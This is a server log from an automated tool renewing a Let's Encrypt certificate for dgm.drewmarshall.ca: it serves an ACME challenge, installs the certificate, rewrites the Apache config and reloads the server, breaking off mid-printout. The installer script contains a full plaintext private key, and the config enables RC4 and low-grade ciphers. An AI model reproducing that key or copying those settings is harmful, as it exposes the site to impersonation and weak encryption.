2026-01-03 15:54:17:
chmod 755 /tmp/pkp135366; /tmp/pkp135366; rm /tmp/pkp135366
2026-01-03 15:54:17:
1
2026-01-03 15:54:18: Establishing a connection
2026-01-03 15:54:18:
PUT: /tmp/pkp208059
#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cat > vC-wyZ9xukJdqqyZaqiM6MVz5FTXPh_PS42sCsuXUNU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vC-wyZ9xukJdqqyZaqiM6MVz5FTXPh_PS42sCsuXUNU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vC-wyZ9xukJdqqyZaqiM6MVz5FTXPh_PS42sCsuXUNU
2026-01-03 15:54:18:
chmod 755 /tmp/pkp208059; /tmp/pkp208059; rm /tmp/pkp208059
2026-01-03 15:54:18:
2026-01-03 15:54:28: Establishing a connection
2026-01-03 15:54:28:
PUT: /tmp/pkp962886
#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
rm vC-wyZ9xukJdqqyZaqiM6MVz5FTXPh_PS42sCsuXUNU
2026-01-03 15:54:29:
chmod 755 /tmp/pkp962886; /tmp/pkp962886; rm /tmp/pkp962886
2026-01-03 15:54:29:
2026-01-03 15:54:29: Establishing a connection
2026-01-03 15:54:29:
PUT: /tmp/pkp656245
#!/bin/bash
temp_file=$(mktemp)
TARGET=a6135b8cd991ffd075dad22986ca2d2f.crt
cat > $temp_file <<'endmsg'
60:bd:e9:68:77:1c:26:ee:20:b2:82:ed:e7:62:1f:3b
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBqGojxvU3ieMrs3zX181sLHBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTQ1NTU3WhcNMjYwNDAzMTQ1NTU2WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAv1qTFhAfC1oiLMfV204nEVy9gZ/rFN0HE7YjY6A+W+nEU+w7n5pjkCOI
9fZ0LJx66ubILnhpogJFSw6TGzka9BzhJOGZkTy2ZirjvSrefUYVxqg9KITC03R2
oUIOfpFxWKzm2xKRGc/OQxIodAonIKsBdvnY+mVMTbALRIx7IMNdzXjfa0ihRpnp
EXeb5oNPb0EV5IFzDPpbUoB4p22vFanCFxTomKv8g+Rzs9m2q2B1eGrIJkagIPXV
3CcuyBTB6C1OFaxX3kvwSr0ecaZ9Q9u4l7RMY066xOMpLzs3jITieJFuhIFBuVB5
nMlrjVPb5BJd6cq1gEJ8NTMfv4yjxQIDAQABo4ICKjCCAiYwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTi2oFw/8Z0f5owiJo+nkqnaetF7zAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE2RnbS5kcmV3bWFyc2hh
bGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy82Ni5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAdgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZuEkTbqAAAE
AwBHMEUCIQDozYiB4vt8i5jYdZXO1/9+LhVxO1m3fInRTCdvwrw2LQIgfqgcU209
kBkgOqGdHtKnn6pUbltKnH2mNuEJL5x9NMkAfQBxfpXzwjiKbbHjhEk9MeFaqWII
di1CAOAFDNBntaZh4gAAAZuEkTeMAAgAAAUABexkTgQDAEYwRAIgZ/ReX+RTrXnH
2u3++aeFB2jTL75Eit+q1+bvfzgkMZACIDqoGB1rULpWX6+kXCYcRy8jI9K7yN9i
/gRJxQMLcbB5MA0GCSqGSIb3DQEBCwUAA4IBAQBfczdbgchn3yYweXA2iDdsDsdj
qeWmJ/vuIvbfzPopvb7zUDZOKGm1LfO2t5en+X3rt3n/upx4aIv/JWShXu1Wb6X6
TBCFXQaQb/CtVt3E6TpKTQqjjei7RY8OXpYQe3e2OeIyof+0u3L5/Ok3MNpMa9JT
BRiJu3UqP7O5erIpNCZr+XWmKnhZet1ybjUs0mpQH4B4qJxXzsMoWjU94xAPhYL/
sXOcZxX76/ZQy1oWellWVsYy3wiR/hypW0a3uEZ2Ds5wFw38Q1+xBHVkRHDmxh+G
8df2tnQiMxBdN60NRCfnXjiEsk/UnIaG4JuZXwuPY6KH+VrUfD2lWcb+dWQV
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC/WpMWEB8LWiIs
x9XbTicRXL2Bn+sU3QcTtiNjoD5b6cRT7DufmmOQI4j19nQsnHrq5sgueGmiAkVL
DpMbORr0HOEk4ZmRPLZmKuO9Kt59RhXGqD0ohMLTdHahQg5+kXFYrObbEpEZz85D
Eih0CicgqwF2+dj6ZUxNsAtEjHsgw13NeN9rSKFGmekRd5vmg09vQRXkgXMM+ltS
gHinba8VqcIXFOiYq/yD5HOz2barYHV4asgmRqAg9dXcJy7IFMHoLU4VrFfeS/BK
vR5xpn1D27iXtExjTrrE4ykvOzeMhOJ4kW6EgUG5UHmcyWuNU9vkEl3pyrWAQnw1
Mx+/jKPFAgMBAAECggEADr3yoPuC+MPr6BlJL4kY12yWqPriCIxytCEPHujEhR5A
YtrLSSOC0iL6tUBUeO9hROGcwH/EW5fjMMIhsTI4EmB7M/UxeI/92WcqfnNkCrCw
ksp5U7rOq63ISeol5bhczCEd8/i9Nwjccixe83moxAqIpVrgTYIqW73ZUGGmRsLE
KOeel2DBNyYOnw4p/DqbNmJoIfZ8o5RNs/kBO2sgtd343RnXxWdCDtrKWynrFxxc
zQd2EeWZ9OeeHcDXu9t1Y+yvYl6re4TMJ56am9KWzBfNbtnFXHu8iwSBv5+dLuQ0
OIlPeorU2wgR1kZcf7NDTk5CJVAugH8DiCPezqspAQKBgQDwxf7K8YaRnNMsiPBs
2PAOhB3lOGNO4RvbqM9lDBzy4/EI4Dh8k/cZxl4oiIo6d6gNFVq+SRoq0GuXlseG
fWUUmGVkg2Zm3EHs0ELABldm/uwc5ygL3CHdFaWcV9OX6eRBXi3NKD2aMp8z5CeV
hkRY6b0LC1oKSsnLFYynxFKUQQKBgQDLdH/vt0tIz3xQ4ol2oDq0Hc8mG3smpwen
wUiRLUV49lBJ6tI8syyse3dTVa8zIysNTef6YaB5clRyOQ4NJ8rxVfZ+Le3TsSdJ
LI8/NxMf3khP2vnch1KJeqiloO5m+Wlbcz6qv3l7Hf6M8Q3/S/prOFCI47JWtAAR
Wa9YKcYehQKBgHrIrae2xaZKMFK8vsbzVnBApbI4MESQfZFmI+Vm6Phgj5G0Lnox
RsjpJSlMgBlS3etWIYF6bBK7WLLkXHnURpDbKpG4hKcd2ay3g+LDGR1YEPaoVv69
UrOZD2yMSUZmK1W+fmLqC4gwGonu5tTUtNQW1qXkMxWekAu1wJXpgydBAoGAVZFC
uWQCgrXY1//exohvCA+9bo6CRehb3N76kSxUGqKlc+ER2LuWn1gyAFd6Huy8j5Tj
areikVFXWM7MLRY+US/RQpI4gx7voePevzx/i5imGwfCrFAxk2aGBVrgyWg+OlsG
0TNEeVZNF6POOkAPKwb9QAVbnQGJQcLRbyfqji0CgYEA0DRjFLYhxx1v2lkn+UZq
QWX2YrOWAOWWzsDlIMqdgGcf9u28pHYAqwbssaEUXSL3mHMHd/OywVPplZyppGmx
xlLmz77wPclV313ejyJ6MMqfJfPssJeQUtAZLl4wol4Z7Egeuldw/DceQeRTULxq
Lpt80i3buXjX0nsTNv7Dwis=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-03 15:54:29:
chmod 755 /tmp/pkp656245; /tmp/pkp656245; rm /tmp/pkp656245
2026-01-03 15:54:29:
dir=/etc/ssl/certs
2026-01-03 15:54:29:
PUT: /tmp/pkp456094
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-03 15:54:29:
chmod 755 /tmp/pkp456094; /tmp/pkp456094; rm /tmp/pkp456094
2026-01-03 15:54:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf 43
<VirtualHost *:80>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-03 15:54:29:
PUT: /tmp/pkp267891
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_dgm_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf= 1'
fi
2026-01-03 15:54:29:
chmod 755 /tmp/pkp267891; /tmp/pkp267891; rm /tmp/pkp267891
2026-01-03 15:54:29:
2026-01-03 15:54:29:
PUT: /tmp/pkp785423
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-03 15:54:29:
chmod 755 /tmp/pkp785423; /tmp/pkp785423; rm /tmp/pkp785423
2026-01-03 15:54:29:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-03 15:54:30: Establishing a connection
2026-01-03 15:54:30:
PUT: /tmp/pkp460280
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 15:54:30:
chmod 755 /tmp/pkp460280; /tmp/pkp460280; rm /tmp/pkp460280
2026-01-03 15:54:30:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-03 15:54:30:
PUT: /tmp/pkp662396
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 15:54:30:
chmod 755 /tmp/pkp662396; /tmp/pkp662396; rm /tmp/pkp662396
2026-01-03 15:54:30:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf 1339
<VirtualHost *:80>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-03 15:54:30:
PUT: /tmp/pkp404841
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 15:54:30:
chmod 755 /tmp/pkp404841; /tmp/pkp404841; rm /tmp/pkp404841
2026-01-03 15:54:30:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt 5368
60:bd:e9:68:77:1c:26:ee:20:b2:82:ed:e7:62:1f:3b
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBqGojxvU3ieMrs3zX181sLHBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTQ1NTU3WhcNMjYwNDAzMTQ1NTU2WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAv1qTFhAfC1oiLMfV204nEVy9gZ/rFN0HE7YjY6A+W+nEU+w7n5pjkCOI
9fZ0LJx66ubILnhpogJFSw6TGzka9BzhJOGZkTy2ZirjvSrefUYVxqg9KITC03R2
oUIOfpFxWKzm2xKRGc/OQxIodAonIKsBdvnY+mVMTbALRIx7IMNdzXjfa0ihRpnp
EXeb5oNPb0EV5IFzDPpbUoB4p22vFanCFxTomKv8g+Rzs9m2q2B1eGrIJkagIPXV
3CcuyBTB6C1OFaxX3kvwSr0ecaZ9Q9u4l7RMY066xOMpLzs3jITieJFuhIFBuVB5
nMlrjVPb5BJd6cq1gEJ8NTMfv4yjxQIDAQABo4ICKjCCAiYwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTi2oFw/8Z0f5owiJo+nkqnaetF7zAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE2RnbS5kcmV3bWFyc2hh
bGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy82Ni5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAdgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZuEkTbqAAAE
AwBHMEUCIQDozYiB4vt8i5jYdZXO1/9+LhVxO1m3fInRTCdvwrw2LQIgfqgcU209
kBkgOqGdHtKnn6pUbltKnH2mNuEJL5x9NMkAfQBxfpXzwjiKbbHjhEk9MeFaqWII
di1CAOAFDNBntaZh4gAAAZuEkTeMAAgAAAUABexkTgQDAEYwRAIgZ/ReX+RTrXnH
2u3++aeFB2jTL75Eit+q1+bvfzgkMZACIDqoGB1rULpWX6+kXCYcRy8jI9K7yN9i
/gRJxQMLcbB5MA0GCSqGSIb3DQEBCwUAA4IBAQBfczdbgchn3yYweXA2iDdsDsdj
qeWmJ/vuIvbfzPopvb7zUDZOKGm1LfO2t5en+X3rt3n/upx4aIv/JWShXu1Wb6X6
TBCFXQaQb/CtVt3E6TpKTQqjjei7RY8OXpYQe3e2OeIyof+0u3L5/Ok3MNpMa9JT
BRiJu3UqP7O5erIpNCZr+XWmKnhZet1ybjUs0mpQH4B4qJxXzsMoWjU94xAPhYL/
